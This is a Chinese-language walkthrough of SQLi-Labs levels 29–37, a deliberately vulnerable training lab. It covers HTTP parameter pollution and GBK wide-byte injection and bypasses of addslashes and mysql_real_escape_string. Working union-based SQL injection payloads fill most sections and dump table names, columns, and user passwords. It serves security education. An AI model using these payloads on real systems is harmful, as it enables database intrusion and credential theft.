《SQLi-Labs》05. Less 29~37


title: 《SQLi-Labs》05. Less 29~37
date: 2024-01-17 22:49:10
updated: 2024-02-12 18:09:10
categories: WriteUp:Security-Lab
excerpt: HTTP 参数污染,联合注入、宽字节注入。
comments: false
tags:
top_image: /images/backimg/SunsetClimbing.png


SQLi-Labs

  • 索引
  • Less-29
    • 题解
    • 总结
  • Less-30
    • 题解
  • Less-31
    • 题解
  • Less-32
    • 题解
    • 总结
  • Less-33
    • 题解
  • Less-34
    • 题解
  • Less-35
    • 题解
  • Less-36
    • 题解
  • Less-37
    • 题解


靶场部署在 VMware - Win7。

靶场地址:https://github.com/Audi-1/sqli-labs

索引

  • Less-29:HTTP 参数污染。联合注入,字符型【'】。
  • Less-30:与 Less-29 相似。字符型【"】。
  • Less-31:与 Less-29 相似。字符型【")】。
  • Less-32:宽字节注入。联合注入,字符型【'】。
  • Less-33:与 Less-32 一样。
  • Less-34:原理与 Less-32 一样。post 形式,字符型【'】。
  • Less-35:原理与 Less-32 一样。数字型。
  • Less-36:与 Less-32 一样。
  • Less-37:与 Less-34 一样。

Less-29

《SQLi-Labs》05. Less 29~37_第1张图片

题解

说有最好的防火墙。源码是判断传递的数据是否是数字。

这一题主要考察的是多个相同参数的解析问题。

例如 index.php?id=1&id=2,到底是解析 id=1 的数据还是解析 id=2 的?

这一关原本的思路是:

Less-29 就是会对输入的参数进行校验是否为数字,但是只提取第一个 id 值进行校验。
如果传递两个 id 参数,第一个 id 参数正常数字,第二个 id 参数进行 sql 注入即可。
其实第29关是用 jsp 搭建的服务器,所以建议在电脑中安装 Jspstudy 来安装 Jsp 的环境。
构造两个 id 参数,index.php?id=1&id=2,Apache PHP 会解析最后一个参数,Tomcat JSP 会解析第一个参数

明白了原理,直接上 payload。

爆表

?id=1&id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

爆字段

?id=1&id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+

爆敏感数据

?id=1&id=-1' union select 1,group_concat(password,username),3 from users--+

总结

多个相同参数解析漏洞(HPP,HTTP 参数污染)。

《HTTP 参数污染(HPP)》
https://zhuanlan.zhihu.com/p/635422411

Less-30

题解

原理与 Less-29 一样。字符型【"】

?id=1&id=-1" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

爆字段

?id=1&id=-1" union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+

爆敏感数据

?id=1&id=-1" union select 1,group_concat(password,username),3 from users--+

Less-31

题解

原理与 Less-29 一样。字符型【")】

?id=1&id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

爆字段

?id=1&id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+

爆敏感数据

?id=1&id=-1") union select 1,group_concat(password,username),3 from users--+

Less-32

题解

这题考察宽字节注入。

遇事不决看源码。

《SQLi-Labs》05. Less 29~37_第2张图片

Less-32 使用 preg_replace() 函数将反斜杠【\】,单引号【'】、双引号【"】过滤了。如果输入 id=1" 会转义成 id=1\",使引号当作数据处理。

但是数据库使用了 gbk 编码。所以可以采用宽字节注入。同时可以对数据库表名进行 16 进制 ASCII 编码。

当某字符的大小为一个字节时,称其字符为窄字节。当某字符的大小为两个字节时,称其字符为宽字节。所有英文默认占一个字节,汉字占两个字节。

先上 payload。

爆库名

?id=-1%df' union select 1,database(),3 --+

MySQL 在使用 GBK 编码的时候,mysql 数据库会将 ASCII 大于等于128(%df)的字符当作是汉字字符的一部分(当作汉字处理),同时会认为两个字节为一个汉字,例如 %aa%5c 就是一个 汉字。

因为 urlencode(\') = %5c%27,如果在 %5c%27 前面添加 %df,形成 %df%5c%27,MySQL 就把 %df%5c 当做是一个汉字解析,%27(单引号【'】)则作为一个单独的符号。

爆表

?id=-1%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

爆字段

?id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=0x7573657273--+

对于宽字节注入,另一个影响在于爆字段时表名需要加引号,引号会被转义;但如果利用宽字节转义,会影响 payload 中的表名。

MySQL 支持十六进制表示法,可以使用 0x 前缀来表示十六进制数值。
例如:
where table_name='users' 等同于:
where table_name=0x7573657273

爆敏感数据

?id=-1%df' union select 1,group_concat(password,username),3 from users--+

《SQLi-Labs》05. Less 29~37_第3张图片

总结

宽字节注入。

  • 常见的宽字节编码:
    • GB2312
    • GBK
    • GB18030
    • BIG5
  • MySQL 在使用 GBK 编码的时候,数据库会将 ASCII 大于等于 128(%df)的字符当作是汉字字符的一部分,即当作汉字处理,会认为两个字节为一个汉字,例如 %aa%5c 就是一个汉字。
  • 这种情况下如果想去掉 sql 语句中的一个字节,那么在想去的字节前加上一个 ASCII 大于等于 128(%df)的字节即可。加上的字节和想去掉的那个字节会被合起来解析为汉字(无论有没有对应的汉字)。
  • 例如 urlencode(\') = %5c%27,如果在 %5c%27 前面添加 %df,形成 %df%5c%27,MySQL 就把 %df%5c 当做是一个汉字解析,%27(单引号【'】)则作为一个单独的符号。

MySQL 特性:支持十六进制表示法。

  • MySQL 支持十六进制表示法,可以使用 0x 前缀来表示十六进制数值。
  • 例如:
  • WHERE table_name='users' 等同于 WHERE table_name=0x7573657273
  • WHERE column_name='Bob' 等同于 WHERE column_name=0x426f62

Less-33

题解

Less-33 使用 addslashes() 函数,作用是返回在预定义字符之前添加反斜杠的字符串。

payload 和 Less-32 一样。

Less-34

题解

原理与 Less-32 一样。只不过是 post 形式的宽字节注入。

payload:

爆表

-1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

爆字段

-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273-- a

爆敏感数据

1%df' union select 1,group_concat(password,1,username) from users -- a

《SQLi-Labs》05. Less 29~37_第4张图片

Less-35

题解

原理与 Less-32 一样,宽字节注入。不过是数字型。

爆表

?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

爆字段

?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=0x7573657273--+

爆敏感数据

?id=-1 union select 1,group_concat(password,username),3 from users--+

Less-36

题解

payload 同 Less-32。

原理与 Less-32 一样,宽字节注入。只不过使用 mysql_real_escape_string 函数对特殊字符进行转义,作用与 Less-33 的 addslashes() 函数一样。

Less-37

题解

payload 与 Less-34 一样。原理同 Less-32,post 形式的宽字节注入。


松树千年终是朽,槿花一日自为荣。

——《放言五首 · 其五》(唐)白居易

你可能感兴趣的:(less,android,前端)